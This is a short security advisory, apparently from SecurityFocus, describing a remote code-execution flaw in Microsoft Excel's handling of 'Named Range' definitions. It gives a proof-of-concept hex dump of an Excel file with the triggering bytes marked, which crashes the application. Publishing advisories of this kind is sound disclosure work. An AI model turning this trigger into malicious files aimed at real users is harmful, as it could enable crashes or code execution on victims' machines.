source: http://www.securityfocus.com/bid/15780/info

Microsoft Excel is susceptible to a remote code-execution vulnerability. This issue was originally disclosed through an eBay auction that has since been terminated.

This issue is due to the application's failure to properly bounds-check user-supplied input data in the 'Named Range' definition in Excel data files. This results in the corruption of critical memory sections, allowing code execution. 

The following is a proof-of-concept example segment of an Excel data file. The '*' characters represent the location of the affected value that triggers this issue. Setting these locations to '0xFF' will crash the application.

00000720 00 80 00 ff 93 02 04 00 14 80 05 ff 60 01 02 00 |............`...|
00000730 00 00 85 00 0e 00 ba 05 00 00 00 00 06 00 53 68 |..............Sh|
00000740 65 65 74 31 8c 00 04 00 01 00 01 00 ae 01 04 00 |eet1............|
00000750 01 00 01 04 17 00 08 00 01 00 00 00 00 00 00 00 |................|
00000760 18 00 1b 00 00 00 00 05 07 ** ** 00 00 00 00 00 |................|
00000770 00 00 00 54 45 53 54 31 3a 00 00 00 00 00 00 c1 |...TEST1:.......|
00000780 01 08 00 c1 01 00 00 22 be 01 00 fc 00 08 00 00 |......."........|
00000790 00 00 00 00 00 00 00 ff 00 02 00 08 00 63 08 15 |.............c..|